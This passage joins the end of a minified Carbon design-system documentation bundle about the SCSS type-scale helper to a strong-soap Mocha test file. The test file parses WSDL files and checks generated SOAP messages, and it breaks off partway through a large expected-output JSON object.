the\n",Object(a.b)("inlineCode",{parentName:"p"},"carbon--type-scale")," function:"),Object(a.b)("pre",null,Object(a.b)("code",o({parentName:"pre"},{className:"language-scss"}),"@import '@carbon/type/scss/scale';\n\n.my-selector {\n font-size: carbon--type-scale(1);\n}\n")),Object(a.b)("p",null,"There is also a ",Object(a.b)("inlineCode",{parentName:"p"},"type-scale")," mixin that will set ",Object(a.b)("inlineCode",{parentName:"p"},"font-size")," for your directly:"),Object(a.b)("pre",null,Object(a.b)("code",o({parentName:"pre"},{className:"language-scss"}),"@import '@carbon/type/scss/scale';\n\n.my-selector {\n @include carbon--type-scale(1);\n}\n")),Object(a.b)("h2",null,"Resources"),Object(a.b)(d,{className:"resource-card-group",mdxType:"Row"},Object(a.b)(m,{colMd:4,colLg:4,noGutterSm:!0,mdxType:"Column"},Object(a.b)(y,{subTitle:"Carbon type package",href:"https://github.com/carbon-design-system/carbon/blob/master/packages/type",mdxType:"ResourceCard"},Object(a.b)(j,{name:"bee",mdxType:"MdxIcon"}))),Object(a.b)(m,{colMd:4,colLg:4,noGutterSm:!0,mdxType:"Column"},Object(a.b)(y,{subTitle:"Type package demo",href:"https://carbon-elements.netlify.app/type/examples/preview/",mdxType:"ResourceCard"},Object(a.b)(j,{name:"bee",mdxType:"MdxIcon"})))))}g.isMDXComponent=!0}}]);
|
// Copyright IBM Corp. 2014,2018. All Rights Reserved.
// Node module: strong-soap
// This file is licensed under the MIT License.
// License text available at https://opensource.org/licenses/MIT
"use strict";
var fs = require('fs'),
soap = require('..').soap,
assert = require('assert'),
should = require('should'),
request = require('request'),
http = require('http'),
async = require('async'),
path = require('path');
var openWSDL = require('..').WSDL.open;
describe('wsdl-tests', function() {
describe('should parse and describe wsdls under /wsdl/strict dir', function () {
var files = [];
before(function (done) {
fs.readdirSync(__dirname + '/wsdl/strict').forEach(function (file) {
if (!/.wsdl$/.exec(file)) return;
files.push(file);
});
done();
});
it('should parse and describe wsdls under /wsdl/strict dir', function (done) {
async.each(files, function (file, cb) {
soap.createClient(__dirname + '/wsdl/strict/' + file, {strict: true}, function (err, client) {
assert.ok(!err);
client.describe();
cb(err);
});
}, done);
});
});
describe('should parse and describe wsdls directly under /wsdl/ dir', function () {
var files = [];
before(function (done) {
fs.readdirSync(__dirname + '/wsdl/').forEach(function (file) {
if (!/.wsdl$/.exec(file)) return;
files.push(file);
});
done();
});
it('should parse and describe wsdls directly under /wsdl/ dir', function (done) {
async.each(files, function (file, cb) {
soap.createClient(__dirname + '/wsdl/' + file, {strict: true}, function (err, client) {
client.describe();
cb(err);
});
}, done);
});
});
describe('wsdl parsing test cases', function () {
it('document/encoded style wsdl is not a supported type', function (done) {
soap.createClient(__dirname+'/wsdl/unsupported/ImportSample.wsdl', function(err, client) {
var expectedError = false;
try {
client.describe();
} catch (err) {
//Error is expected in this negative test where ImportSample.wsdl is an invalid wsdl since it uses
//document/encode style. Code throws "WSDL not supported DocumentEncode Style" error.
expectedError = true;
}
assert.ok(expectedError);
done();
});
});
it('should not parse connection error', function (done) {
soap.createClient(__dirname+'/wsdl/connection/econnrefused.wsdl', function(err, client) {
assert.ok(/EADDRNOTAVAIL|ECONNREFUSED/.test(err), err);
done();
});
});
it('should catch parse error', function (done) {
soap.createClient(__dirname+'/wsdl/bad.txt', function(err) {
assert.notEqual(err, null);
done();
});
});
it('should parse external wsdl', function (done) {
soap.createClient(__dirname+'/wsdl/wsdlImport/main.wsdl', {strict: true}, function(err, client){
assert.ok(!err);
assert.deepEqual(Object.keys(client.wsdl.definitions.schemas),
['http://example.com/', 'http://schemas.microsoft.com/2003/10/Serialization/Arrays']);
assert.equal(typeof client.getLatestVersion, 'function');
done();
});
});
it('should get the parent namespace when parent namespace is empty string', function (done) {
soap.createClient(__dirname+'/wsdl/marketo.wsdl', {strict: true}, function(err, client){
assert.ok(!err);
client.getLeadChanges({
batchSize: 1,
startPosition: {activityCreatedAt: '2014-04-14T22:03:48.587Z'},
activityNameFilter: {stringItem: ['Send Email']}
}, function() {
done();
});
});
});
it('should handle element ref', function (done) {
var expectedMsg = '<soap:Body>\n '+
'<ns2:fooRq xmlns:ns2=\"http://example.com/bar/xsd\">\n '+
'<ns3:paymentRq xmlns:ns3=\"http://example.com/bar1/xsd\">\n '+
'<ns3:bankSvcRq>\n '+
'<ns3:requestUID>001</ns3:requestUID>\n '+
'</ns3:bankSvcRq>\n '+
'</ns3:paymentRq>\n '+
'</ns2:fooRq>\n</soap:Body>\n';
soap.createClient(__dirname + '/wsdl/elementref/foo.wsdl', {strict: true}, function(err, client) {
assert.ok(!err);
client.fooOp({fooRq: {paymentRq: {bankSvcRq: {requestUID: '001'}}}}, function(err, result) {
assert.equal(client.lastMessage, expectedMsg);
done();
});
});
});
it('should handle type ref', function (done) {
var expectedMsg = require('./wsdl/typeref/request.xml.js');
var reqJson = require('./wsdl/typeref/request.json');
soap.createClient(__dirname + '/wsdl/typeref/order.wsdl', {strict: true}, function(err, client) {
assert.ok(!err);
client.order(reqJson, function(err, result) {
assert.equal(client.lastMessage, expectedMsg);
done();
});
});
});
it('should get empty namespace prefix', function (done) {
var expectedMsg = '<soap:Body>\n '+
'<ns2:fooRq xmlns:ns2=\"http://example.com/bar/xsd\">\n '+
'<ns3:paymentRq xmlns:ns3=\"http://example.com/bar1/xsd\">\n '+
'<ns3:bankSvcRq>\n '+
'<RequestUID>001</RequestUID>\n '+
'</ns3:bankSvcRq>\n '+
'</ns3:paymentRq>\n '+
'</ns2:fooRq>\n</soap:Body>\n';
soap.createClient(__dirname + '/wsdl/elementref/foo.wsdl', {strict: true}, function(err, client) {
assert.ok(!err);
client.fooOp({fooRq:{paymentRq: {bankSvcRq: {'RequestUID': '001'}}}}, function(err, result) {
assert.equal(client.lastMessage, expectedMsg);
done();
});
});
});
//revisit - If client class is modified, client.describe() will change.. it's pain to keep changing the 'expected'
//output. What's the value of this test? Do we need this test? Skipping for now even though test passes currently.
it.skip('should load same namespace from included xsd', function (done) {
var expected = {"DummyService":{"DummyPortType":{"Dummy":{"name":"Dummy","style":"documentLiteral","soapAction":"tns#Dummy","soapVersion":"1.1","input":{"body":{"elements":[{"elements":[{"elements":[],"attributes":[],"qname":{"nsURI":"http://www.dummy.com","name":"ID"},"type":{"nsURI":"http://www.dummy.com/Types","name":"IdType"},"form":"qualified","isMany":false,"isSimple":true,"refOriginal":{"elements":[],"attributes":[],"qname":{"nsURI":"http://www.dummy.com","name":"ID"},"type":{"nsURI":"http://www.dummy.com/Types","name":"IdType"},"form":"qualified","isMany":false,"isSimple":true}},{"elements":[],"attributes":[],"qname":{"nsURI":"http://www.dummy.com","name":"Name"},"type":{"nsURI":"http://www.dummy.com/Types","name":"NameType"},"form":"qualified","isMany":false,"isSimple":true,"refOriginal":{"elements":[],"attributes":[],"qname":{"nsURI":"http://www.dummy.com","name":"Name"},"type":{"nsURI":"http://www.dummy.com/Types","name":"NameType"},"form":"qualified","isMany":false,"isSimple":true}}],"attributes":[],"qname":{"nsURI":"http://www.dummy.com","name":"DummyRequest"},"form":"qualified","isMany":false,"isSimple":false}],"attributes":[]},"headers":{"elements":[],"attributes":[]}},"output":{"body":{"elements":[{"elements":[{"elements":[{"elements":[],"attributes":[{"qname":{"nsURI":"http://www.dummy.com/Types","name":"language"},"type":{"nsURI":"http://www.w3.org/2001/XMLSchema","name":"language"},"form":"unqualified"}],"qname":{"nsURI":"http://www.dummy.com/Types","name":"dummy"},"type":{"nsURI":"http://www.dummy.com/Types","name":"Dummy"},"form":"qualified","isMany":true,"isSimple":true,"refOriginal":{"elements":[],"attributes":[{"qname":{"nsURI":"http://www.dummy.com/Types","name":"language"},"type":{"nsURI":"http://www.w3.org/2001/XMLSchema","name":"language"},"form":"unqualified"}],"qname":{"nsURI":"http://www.dummy.com/Types","name":"dummy"},"type":{"nsURI":"http://www.dummy.com/Types","name":"Dummy"},"form":"qualified","isMany":false,"isSimple":true,"extension":{"name":"string","xmlns":"","isSimple":true},"typeDescriptor":{"elements":[],"attributes":[{"qname":{"nsURI":"http://www.dummy.com/Types","name":"language"},"type":{"nsURI":"http://www.w3.org/2001/XMLSchema","name":"language"},"form":"unqualified"}],"extension":{"name":"string","xmlns":"","isSimple":true},"name":"Dummy","xmlns":"http://www.dummy.com/Types","isSimple":false}}}],"attributes":[],"qname":{"nsURI":"http://www.dummy.com","name":"Result"},"type":{"nsURI":"http://www.dummy.com/Types","name":"DummyList"},"form":"qualified","isMany":false,"isSimple":false,"refOriginal":{"elements":[{"elements":[],"attributes":[{"qname":{"nsURI":"http://www.dummy.com/Types","name":"language"},"type":{"nsURI":"http://www.w3.org/2001/XMLSchema","name":"language"},"form":"unqualified"}],"qname":{"nsURI":"http://www.dummy.com/Types","name":"dummy"},"type":{"nsURI":"http://www.dummy.com/Types","name":"Dummy"},"form":"qualified","isMany":true,"isSimple":true,"refOriginal":{"elements":[],"attributes":[{"qname":{"nsURI":"http://www.dummy.com/Types","name":"language"},"type":{"nsURI":"http://www.w3.org/2001/XMLSchema","name":"language"},"form":"unqualified"}],"qname":{"nsURI":"http://www.dummy.com/Types","name":"dummy"},"type":{"nsURI":"http://www.dummy.com/Types","name":"Dummy"},"form":"qualified","isMany":false,"isSimple":true,"extension":{"name":"string","xmlns":"","isSimple":true},"typeDescriptor":{"elements":[],"attributes":[{"qname":{"nsURI":"http://www.dummy.com/Types","name":"language"},"type":{"nsURI":"http://www.w3.org/2001/XMLSchema","name":"language"},"form":"unqualified"}],"extension":{"name":"string","xmlns":"","isSimple":true},"name":"Dummy","xmlns":"http://www.dummy.com/Types","isSimple":false}}}],"attributes":[],"qname":{"nsURI":"http://www.dummy.com","name":"Result"},"type":{"nsURI":"http://www.dummy.com/Types","name":"DummyList"},"form":"qualified","isMany":false,"isSimple":false,"typeDescriptor":{"elements":[{"elements":[],"attributes":[{"qname":{"nsURI":"http://www.dummy.com/Types","name":"language"},"type":{"nsURI":"http://www.w3.org/2001/XMLSchema","name":"language"},"form":"unqualified"}],"qname":{"nsURI":"http://www.dummy.com/Types","name":"dummy"},"type":{"nsURI":"http://www.dummy.com/Types","name":"Dummy"},"form":"qualified","isMany":true,"isSimple":true,"refOriginal":{"elements":[],"attributes":[{"qname":{"nsURI":"http://www.dummy.com/Types","name":"language"},"type":{"nsURI":"http://www.w3.org/2001/XMLSchema","name":"language"},"form":"unqualified"}],"qname":{"nsURI":"http://www.dummy.com/Types","name":"dummy"},"type":{"nsURI":"http://www.dummy.com/Types","name":"Dummy"},"form":"qualified","isMany":false,"isSimple":true,"extension":{"name":"string","xmlns":"","isSimple":true},"typeDescriptor":{"elements":[],"attributes":[{"qname":{"nsURI":"http://www.dummy.com/Types","name":"language"},"type":{"nsURI":"http://www.w3.org/2001/XMLSchema","name":"language"},"form":"unqualified"}],"extension":{"name":"string","xmlns":"","isSimple":true},"name":"Dummy","xmlns":"http://www.dummy.com/Types","isSimple":false}}}],"attributes":[],"name":"DummyList","xmlns":"http://www.dummy.com/Types","isSimple":false}}}],"attributes":[],"qname":{"nsURI":"http://www.dummy.com","name":"DummyResponse"},"form":"qualified","isMany":false,"isSimple":false}],"attributes":[]},"headers":{"elements":[],"attributes":[]}},"faults":{"body":{"Fault":{"faults":{}}}},"inputEnvelope":{"elements":[{"elements":[{"elements":[],"attributes":[],"qname":{"nsURI":"http://schemas.xmlsoap.org/soap/envelope/","name":"Header","prefix":"soap"},"type":null,"form":"qualified","isMany":false,"isSimple":false},{"elements":[{"elements":[{"elements":[],"attributes":[],"qname":{"nsURI":"http://www.dummy.com","name":"ID"},"type":{"nsURI":"http://www.dummy.com/Types","name":"IdType"},"form":"qualified","isMany":false,"isSimple":true,"refOriginal":{"elements":[],"attributes":[],"qname":{"nsURI":"http://www.dummy.com","name":"ID"},"type":{"nsURI":"http://www.dummy.com/Types","name":"IdType"},"form":"qualified","isMany":false,"isSimple":true}},{"elements":[],"attributes":[],"qname":{"nsURI":"http://www.dummy.com","name":"Name"},"type":{"nsURI":"http://www.dummy.com/Types","name":"NameType"},"form":"qualified","isMany":false,"isSimple":true,"refOriginal":{"elements":[],"attributes":[],"qname":{"nsURI":"http://www.dummy.com","name":"Name"},"type":{"nsURI":"http://www.dummy.com/Types","name":"NameType"},"form":"qualified","isMany":false,"isSimple":true}}],"attributes":[],"qname":{"nsURI":"http://www.dummy.com","name":"DummyRequest"},"form":"qualified","isMany":false,"isSimple":false}],"attributes":[],"qname":{"nsURI":"http://schemas.xmlsoap.org/soap/envelope/","name":"Body","prefix":"soap"},"type":null,"form":"qualified","isMany":false,"isSimple":false}],"attributes":[],"qname":{"nsURI":"http://schemas.xmlsoap.org/soap/envelope/","name":"Envelope","prefix":"soap"},"type":null,"form":"qualified","isMany":false,"isSimple":false,"refOriginal":{"elements":[{"elements":[],"attributes":[],"qname":{"nsURI":"http://schemas.xmlsoap.org/soap/envelope/","name":"Header","prefix":"soap"},"type":null,"form":"qualified","isMany":false,"isSimple":false},{"elements":[{"elements":[{"elements":[],"attributes":[],"qname":{"nsURI":"http://www.dummy.com","name":"ID"},"type":{"nsURI":"http://www.dummy.com/Types","name":"IdType"},"form":"qualified","isMany":false,"isSimple":true,"refOriginal":{"elements":[],"attributes":[],"qname":{"nsURI":"http://www.dummy.com","name":"ID"},"type":{"nsURI":"http://www.dummy.com/Types","name":"IdType"},"form":"qualified","isMany":false,"isSimple":true}},{"elements":[],"attributes":[],"qname":{"nsURI":"http://www.dummy.com","name":"Name"},"type":{"nsURI":"http://www.dummy.com/Types","name":"NameType"},"form":"qualified","isMany":false,"isSimple":true,"refOriginal":{"elements":[],"attributes":[],"qname":{"nsURI":"http://www.dummy.com","name":"Name"},"type":{"nsURI":"http://www.dummy.com/Types","name":"NameType"},"form":"qualified","isMany":false,"isSimple":true}}],"attributes":[],"qname":{"nsURI":"http://www.dummy.com","name":"DummyRequest"},"form":"qualified","isMany":false,"isSimple":false}],"attributes":[],"qname":{"nsURI":"http://schemas.xmlsoap.org/soap/envelope/","name":"Body","prefix":"soap"},"type":null,"form":"qualified","isMany":false,"isSimple":false}],"attributes":[],"qname":{"nsURI":"http://schemas.xmlsoap.org/soap/envelope/","name":"Envelope","prefix":"soap"},"type":null,"form":"qualified","isMany":false,"isSimple":false}}],"attributes":[]},"outputEnvelope":{"elements":[{"elements":[{"elements":[],"attributes":[],"qname":{"nsURI":"http://schemas.xmlsoap.org/soap/envelope/","name":"Header","prefix":"soap"},"type":null,"form":"qualified","isMany":false,"isSimple":false},{"elements":[{"elements":[{"elements":[{"elements":[],"attributes":[{"qname":{"nsURI":"http://www.dummy.com/Types","name":"language"},"type":{"nsURI":"http://www.w3.org/2001/XMLSchema","name":"language"},"form":"unqualified"}],"qname":{"nsURI":"http://www.dummy.com/Types","name":"dummy"},"type":{"nsURI":"http://www.dummy.com/Types","name":"Dummy"},"form":"qualified","isMany":true,"isSimple":true,"refOriginal":{"elements":[],"attributes":[{"qname":{"nsURI":"http://www.dummy.com/Types","name":"language"},"type":{"nsURI":"http://www.w3.org/2001/XMLSchema","name":"language"},"form":"unqualified"}],"qname":{"nsURI":"http://www.dummy.com/Types","name":"dummy"},"type":{"nsURI":"http://www.dummy.com/Types","name":"Dummy"},"form":"qualified","isMany":false,"isSimple":true,"extension":{"name":"string","xmlns":"","isSimple":true},"typeDescriptor":{"elements":[],"attributes":[{"qname":{"nsURI":"http://www.dummy.com/Types","name":"language"},"type":{"nsURI":"http://www.w3.org/2001/XMLSchema","name":"language"},"form":"unqualified"}],"extension":{"name":"string","xmlns":"","isSimple":true},"name":"Dummy","xmlns":"http://www.dummy.com/Types","isSimple":false}}}],"attributes":[],"qname":{"nsURI":"http://www.dummy.com","name":"Result"},"type":{"nsURI":"http://www.dummy.com/Types","name":"DummyList"},"form":"qualified","isMany":false,"isSimple":false,"refOriginal":{"elements":[{"elements":[],"attributes":[{"qname":{"nsURI":"http://www.dummy.com/Types","name":"language"},"type":{"nsURI":"http://www.w3.org/2001/XMLSchema","name":"language"},"form":"unqualified"}],"qname":{"nsURI":"http://www.dummy.com/Types","name":"dummy"},"type":{"nsURI":"http://www.dummy.com/Types","name":"Dummy"},"form":"qualified","isMany":true,"isSimple":true,"refOriginal":{"elements":[],"attributes":[{"qname":{"nsURI":"http://www.dummy.com/Types","name":"language"},"type":{"nsURI":"http://www.w3.org/2001/XMLSchema","name":"language"},"form":"unqualified"}],"qname":{"nsURI":"http://www.dummy.com/Types","name":"dummy"},"type":{"nsURI":"http://www.dummy.com/Types","name":"Dummy"},"form":"qualified","isMany":false,"isSimple":true,"extension":{"name":"string","xmlns":"","isSimple":true},"typeDescriptor":{"elements":[],"attributes":[{"qname":{"nsURI":"http://www.dummy.com/Types","name":"language"},"type":{"nsURI":"http://www.w3.org/2001/XMLSchema","name":"language"},"form":"unqualified"}],"extension":{"name":"string","xmlns":"","isSimple":true},"name":"Dummy","xmlns":"http://www.dummy.com/Types","isSimple":false}}}],"attributes":[],"qname":{"nsURI":"http://www.dummy.com","name":"Result"},"type":{"nsURI":"http://www.dummy.com/Types","name":"DummyList"},"form":"qualified","isMany":false,"isSimple":false,"typeDescriptor":{"elements":[{"elements":[],"attributes":[{"qname":{"nsURI":"http://www.dummy.com/Types","name":"language"},"type":{"nsURI":"http://www.w3.org/2001/XMLSchema","name":"language"},"form":"unqualified"}],"qname":{"nsURI":"http://www.dummy.com/Types","name":"dummy"},"type":{"nsURI":"http://www.dummy.com/Types","name":"Dummy"},"form":"qualified","isMany":true,"isSimple":true,"refOriginal":{"elements":[],"attributes":[{"qname":{"nsURI":"http://www.dummy.com/Types","name":"language"},"type":{"nsURI":"http://www.w3.org/2001/XMLSchema","name":"language"},"form":"unqualified"}],"qname":{"nsURI":"http://www.dummy.com/Types","name":"dummy"},"type":{"nsURI":"http://www.dummy.com/Types","name":"Dummy"},"form":"qualified","isMany":false,"isSimple":true,"extension":{"name":"string","xmlns":"","isSimple":true},"typeDescriptor":{"elements":[],"attributes":[{"qname":{"nsURI":"http://www.dummy.com/Types","name":"language"},"type":{"nsURI":"http://www.w3.org/2001/XMLSchema","name":"language"},"form":"unqualified"}],"extension":{"name":"string","xmlns":"","isSimple":true},"name":"Dummy","xmlns":"http://www.dummy.com/Types","isSimple":false}}}],"attributes":[],"name":"DummyList","xmlns":"http://www.dummy.com/Types","isSimple":false}}}],"attributes":[],"qname":{"nsURI":"http://www.dummy.com","name":"DummyResponse"},"form":"qualified","isMany":false,"isSimple":false}],"attributes":[],"qname":{"nsURI":"http://schemas.xmlsoap.org/soap/envelope/","name":"Body","prefix":"soap"},"type":null,"form":"qualified","isMany":false,"isSimple":false}],"attributes":[],"qname":{"nsURI":"http://schemas.xmlsoap.org/soap/envelope/","name":"Envelope","prefix":"soap"},"type":null,"form":"qualified","isMany":false,"isSimple":false,"refOriginal":{"elements":[{"elements":[],"attributes":[],"qname":{"nsURI":"http://schemas.xmlsoap.org/soap/envelope/","name":"Header","prefix":"soap"},"type":null,"form":"qualified","isMany":false,"isSimple":false},{"elements":[{"elements":[{"elements":[{"elements":[],"attributes":[{"qname":{"nsURI":"http://www.dummy.com/Types","name":"language"},"type":{"nsURI":"http://www.w3.org/2001/XMLSchema","name":"language"},"form":"unqualified"}],"qname":{"nsURI":"http://www.dummy.com/Types","name":"dummy"},"type":{"nsURI":"http://www.dummy.com/Types","name":"Dummy"},"form":"qualified","isMany":true,"isSimple":true,"refOriginal":{"elements":[],"attributes":[{"qname":{"nsURI":"http://www.dummy.com/Types","name":"language"},"type":{"nsURI":"http://www.w3.org/2001/XMLSchema","name":"language"},"form":"unqualified"}],"qname":{"nsURI":"http://www.dummy.com/Types","name":"dummy"},"type":{"nsURI":"http://www.dummy.com/Types","name":"Dummy"},"form":"qualified","isMany":false,"isSimple":true,"extension":{"name":"string","xmlns":"","isSimple":true},"typeDescriptor":{"elements":[],"attributes":[{"qname":{"nsURI":"http://www.dummy.com/Types","name":"language"},"type":{"nsURI":"http://www.w3.org/2001/XMLSchema","name":"language"},"form":"unqualified"}],"extension":{"name":"string","xmlns":"","isSimple":true},"name":"Dummy","xmlns":"http://www.dummy.com/Types","isSimple":false}}}],"attributes":[],"qname":{"nsURI":"http://www.dummy.com","name":"Result"},"type":{"nsURI":"http://www.dummy.com/Types","name":"DummyList"},"form":"qualified","isMany":false,"isSimple":false,"refOriginal":{"elements":[{"elements":[],"attributes":[{"qname":{"nsURI":"http://www.dummy.com/Types","name":"language"},"type":{"nsURI":"http://www.w3.org/2001/XMLSchema","name":"language"},"form":"unqualified"}],"qname":{"nsURI":"http://www.dummy.com/Types","name":"dummy"},"type":{"nsURI":"http://www.dummy.com/Types","name":"Dummy"},"form":"qualified","isMany":true,"isSimple":true,"refOriginal":{"elements":[],"attributes":[{"qname":{"nsURI":"http://www.dummy.com/Types","name":"language"},"type":{"nsURI":"http://www.w3.org/2001/XMLSchema","name":"language"},"form":"unqualified"}],"qname":{"nsURI":"http://www.dummy.com/Types","name":"dummy"},"type":{"nsURI":"http://www.dummy.com/Types","name":"Dummy"},"form":"qualified","isMany":false,"isSimple":true,"extension":{"name":"string","xmlns":"","isSimple":true},"typeDescriptor":{"elements":[],"attributes":[{"qname":{"nsURI":"http://www.dummy.com/Types","name":"language"},"type":{"nsURI":"http://www.w3.org/2001/XMLSchema","name":"language"},"form":"unqualified"}],"extension":{"name":"string","xmlns":"","isSimple":true},"name":"Dummy","xmlns":"http://www.dummy.com/Types","isSimple":false}}}],"attributes":[],"qname":{"nsURI":"http://www.dummy.com","name":"Result"},"type":{"nsURI":"http://www.dummy.com/Types","name":"DummyList"},"form":"qualified","isMany":false,"isSimple":false,"typeDescriptor":{"elements":[{"elements":[],"attributes":[{"qname":{"nsURI":"http://www.dummy.com/Types","name":"language"},"type":{"nsURI":"http://www.w3.org/2001/XMLSchema","name":"language"},"form":"unqualified"}],"qname":{"nsURI":"http://www.dummy.com/Types","name":"dummy"},"type":{"nsURI":"http://www.dummy.com/Types","name":"Dummy"},"form":"qualified","isMany":true,"isSimple":true,"refOriginal":{"elements":[],"attributes":[{"qname":{"nsURI":"http://www.dummy.com/Types","name":"language"},"type":{"nsURI":"http://www.w3.org/2001/XMLSchema","name":"language"},"form":"unqualified"}],"qname":{"nsURI":"http://www.dummy.com/Types","name":"dummy"},"type":{"nsURI":"http://www.dummy.com/Types","name":"Dummy"},"form":"qualified","isMany":false,"isSimple":true,"extension":{"name":"string","xmlns":"","isSimple":true},"typeDescriptor":{"elements":[],"attributes":[{"qname":{"nsURI":"http://www.dummy.com/Types","name":"language"},"type":{"nsURI":"http://www.w3.org/2001/XMLSchema","name":"language"},"form":"unqualified"}],"extension":{"name":"string","xmlns":"","isSimple":true},"name":"Dummy","xmlns":"http://www.dummy.com/Types","isSimple":false}}}],"attributes":[],"name":"DummyList","xmlns":"http://www.dummy.com/Types","isSimple":false}}}],"attributes":[],"qname":{"nsURI":"http://www.dummy.com","name":"DummyResponse"},"form":"qualified","isMany":false,"isSimple":false}],"attributes":[],"qname":{"nsURI":"http://schemas.xmlsoap.org/soap/envelope/","name":"Body","prefix":"soap"},"type":null,"form":"qualified","isMany":false,"isSimple":false}],"attributes":[],"qname":{"nsURI":"http://schemas.xmlsoap.org/soap/envelope/","name":"Envelope","prefix":"soap"},"type":null,"form":"qualified","isMany":false,"isSimple":false}}],"attributes":[]},"faultEnvelope":{"elements":[{"elements":[{"elements":[],"attributes":[],"qname":{"nsURI":"http://schemas.xmlsoap.org/soap/envelope/","name":"Header","prefix":"soap"},"type":null,"form":"qualified","isMany":false,"isSimple":false},{"elements":[{"elements":[{"elements":[],"attributes":[],"qname":{"nsURI":"http://schemas.xmlsoap.org/soap/envelope/","name":"faultcode","prefix":"soap"},"type":null,"form":"unqualified","isMany":false,"isSimple":false,"refOriginal":{"elements":[],"attributes":[],"qname":{"nsURI":"http://schemas.xmlsoap.org/soap/envelope/","name":"faultcode","prefix":"soap"},"type":null,"form":"unqualified","isMany":false,"isSimple":false}},{"elements":[],"attributes":[],"qname":{"nsURI":"http://schemas.xmlsoap.org/soap/envelope/","name":"faultstring","prefix":"soap"},"type":null,"form":"unqualified","isMany":false,"isSimple":false,"refOriginal":{"elements":[],"attributes":[],"qname":{"nsURI":"http://schemas.xmlsoap.org/soap/envelope/","name":"faultstring","prefix":"soap"},"type":null,"form":"unqualified","isMany":false,"isSimple":false}},{"elements":[],"attributes":[],"qname":{"nsURI":"http://schemas.xmlsoap.org/soap/envelope/","name":"faultactor","prefix":"soap"},"type":null,"form":"unqualified","isMany":false,"isSimple":false,"refOriginal":{"elements":[],"attributes":[],"qname":{"nsURI":"http://schemas.xmlsoap.org/soap/envelope/","name":"faultactor","prefix":"soap"},"type":null,"form":"unqualified","isMany":false,"isSimple":false}},{"elements":[],"attributes":[],"qname":{"nsURI":"http://schemas.xmlsoap.org/soap/envelope/","name":"detail","prefix":"soap"},"type":null,"form":"unqualified","isMany":false,"isSimple":false,"refOriginal":{"elements":[],"attributes":[],"qname":{"nsURI":"http://schemas.xmlsoap.org/soap/envelope/","name":"detail","prefix":"soap"},"type":null,"form":"unqualified","isMany":false,"isSimple":false}}],"attributes":[],"qname":{"nsURI":"http://schemas.xmlsoap.org/soap/envelope/","name":"Fault","prefix":"soap"},"type":null,"form":"qualified","isMany":false,"isSimple":false,"refOriginal":{"elements":[{"elements":[],"attributes":[],"qname":{"nsURI":"http://schemas.xmlsoap.org/soap/envelope/","name":"faultcode","prefix":"soap"},"type":null,"form":"unqualified","isMany":false,"isSimple":false,"refOriginal":{"elements":[],"attributes":[],"qname":{"nsURI":"http://schemas.xmlsoap.org/soap/envelope/","name":"faultcode","prefix":"soap"},"type":null,"form":"unqualified","isMany":false,"isSimple":false}},{"elements":[],"attributes":[],"qname":{"nsURI":"http://schemas.xmlsoap.org/soap/envelope/","name":"faultstring","prefix":"soap"},"type":null,"form":"unqualified","isMany":false,"isSimple":false,"refOriginal":{"elements":[],"attributes":[],"qname":{"nsURI":"http://schemas.xmlsoap.org/soap/envelope/","name":"faultstring","prefix":"soap"},"type":null,"form":"unqualified","isMany":false,"isSimple":false}},{"elements":[],"attributes":[],"qname":{"nsURI":"http://schemas.xmlsoap.org/soap/envelope/","name":"faultactor","prefix":"soap"},"type":null,"form":"unqualified","isMany":false,"isSimple":false,"refOriginal":{"elements":[],"attributes":[],"qname":{"nsURI":"http://schemas.xmlsoap.org/soap/envelope/","name":"faultactor","prefix":"soap"},"type":null,"form":"unqualified","isMany":false,"isSimple":false}},{"elements":[],"attributes":[],"qname":{"nsURI":"http://schemas.xmlsoap.org/soap/envelope/","name":"detail","prefix":"soap"},"type":null,"form":"unqualified","isMany":false,"isSimple":false,"refOriginal":{"elements":[],"attributes":[],"qname":{"nsURI":"http://schemas.xmlsoap.org/soap/envelope/","name":"detail","prefix":"soap"},"type":null,"form":"unqualified","isMany":false,"isSimple":false}}],"attributes":[],"qname":{"nsURI":"http://schemas.xmlsoap.org/soap/envelope/","name":"Fault","prefix":"soap"},"type":null,"form":"qualified","isMany":false,"isSimple":false}}],"attributes":[],"qname":{"nsURI":"http://schemas.xmlsoap.org/soap/envelope/","name":"Body","prefix":"soap"},"type":null,"form":"qualified","isMany":false,"isSimple":false}],"attributes":[],"qname":{"nsURI":"http://schemas.xmlsoap.org/soap/envelope/","name":"Envelope","prefix":"soap"},"type":null,"form":"qualified","isMany":false,"isSimple":false,"refOriginal":{"elements":[{"elements":[],"attributes":[],"qname":{"nsURI":"http://schemas.xmlsoap.org/soap/envelope/","name":"Header","prefix":"soap"},"type":null,"form":"qualified","isMany":false,"isSimple":false},{"elements":[{"elements":[{"elements":[],"attributes":[],"qname":{"nsURI":"http://schemas.xmlsoap.org/soap/envelope/","name":"faultcode","prefix":"soap"},"type":null,"form":"unqualified","isMany":false,"isSimple":false,"refOriginal":{"elements":[],"attributes":[],"qname":{"nsURI":"http://schemas.xmlsoap.org/soap/envelope/","name":"faultcode","prefix":"soap"},"type":null,"form":"unqualified","isMany":false,"isSimple":false}},{"elements":[],"attributes":[],"qname":{"nsURI":"http://schemas.xmlsoap.org/soap/envelope/","name":"faultstring","prefix":"soap"},"type":null,"form":"unqualified","isMany":false,"isSimple":false,"refOriginal":{"elements":[],"attributes":[],"qname":{"nsURI":"http://schemas.xmlsoap.org/soap/envelope/","name":"faultstring","prefix":"soap"},"type":null,"form":"unqualified","isMany":false,"isSimple":false}},{"elements":[],"attributes":[],"qname":{"nsURI":"http://schemas.xmlsoap.org/soap/envelope/","name":"faultactor","prefix":"soap"},"type":null,"form":"unqualified","isMany":false,"isSimple":false,"refOriginal":{"elements":[],"attributes":[],"qname":{"nsURI":"http://schemas.xmlsoap.org/soap/envelope/","name":"faultactor","prefix":"soap"},"type":null,"form":"unqualified","isMany":false,"isSimple":false}},{"elements":[],"attributes":[],"qname":{"nsURI":"http://schemas.xmlsoap.org/soap/envelope/","name":"detail","prefix":"soap"},"type":null,"form":"unqualified","isMany":false,"isSimple":false,"refOriginal":{"elements":[],"attributes":[],"qname":{"nsURI":"http://schemas.xmlsoap.org/soap/envelope/","name":"detail","prefix":"soap"},"type":null,"form":"unqualified","isMany":false,"isSimple":false}}],"attributes":[],"qname":{"nsURI":"http://schemas.xmlsoap.org/soap/envelope/","name":"Fault","prefix":"soap"},"type":null,"form":"qualified","isMany":false,"isSimple":false,"refOriginal":{"elements":[{"elements":[],"attributes":[],"qname":{"nsURI":"http://schemas.xmlsoap.org/soap/envelope/","name":"faultcode","prefix":"soap"},"type":null,"form":"unqualified","isMany":false,"isSimple":false,"refOriginal":{"elements":[],"attributes":[],"qname":{"nsURI":"http://schemas.xmlsoap.org/soap/envelope/","name":"faultcode","prefix":"soap"},"type":null,"form":"unqualified","isMany"